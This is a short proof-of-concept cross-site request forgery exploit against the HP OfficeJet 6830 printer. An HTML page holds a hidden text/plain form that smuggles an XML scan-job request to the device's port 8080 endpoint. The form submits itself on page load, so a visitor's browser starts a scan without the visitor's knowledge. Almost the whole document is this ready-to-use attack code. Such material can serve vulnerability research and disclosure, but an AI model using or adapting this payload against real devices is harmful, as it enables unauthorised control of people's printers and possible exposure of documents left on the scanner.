This triggers a scan for a HP OfficeJet 6830 Multidevice. It may work with other Scanner/Printer as well. It only has been tested with this model.

HP OfficeJet 6830 CSRF.html

<FORM NAME="buy" ENCTYPE="text/plain"
action="http://$IP:8080/Scan/Jobs" METHOD="POST">
<input type="hidden" name='<?xml version'
value='"1.0" encoding="UTF-8"?><ScanSettings xmlns="http://www.hp.com/schemas/imaging/con/cnx/scan/2008/08/19" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.hp.com/schemas/imaging/con/cnx/scan/2008/08/19 Scan Schema - 0.26.xsd"><XResolution>200</XResolution><YResolution>200</YResolution><XStart>0</XStart><YStart>0</YStart><Width>2550</Width><Height>3300</Height><Format>Jpeg</Format><CompressionQFactor>0</CompressionQFactor><ColorSpace>Color</ColorSpace><BitDepth>8</BitDepth><InputSource>Platen</InputSource><GrayRendering>NTSC</GrayRendering><ToneMap><Gamma>1000</Gamma><Brightness>1000</Brightness><Contrast>1000</Contrast><Highlite>179</Highlite><Shadow>25</Shadow><Threshold>0</Threshold></ToneMap><SharpeningLevel>128</SharpeningLevel><NoiseRemoval>0</NoiseRemoval><ContentType>Document</ContentType></ScanSettings>'>
</FORM>
<script>document.buy.submit();</script>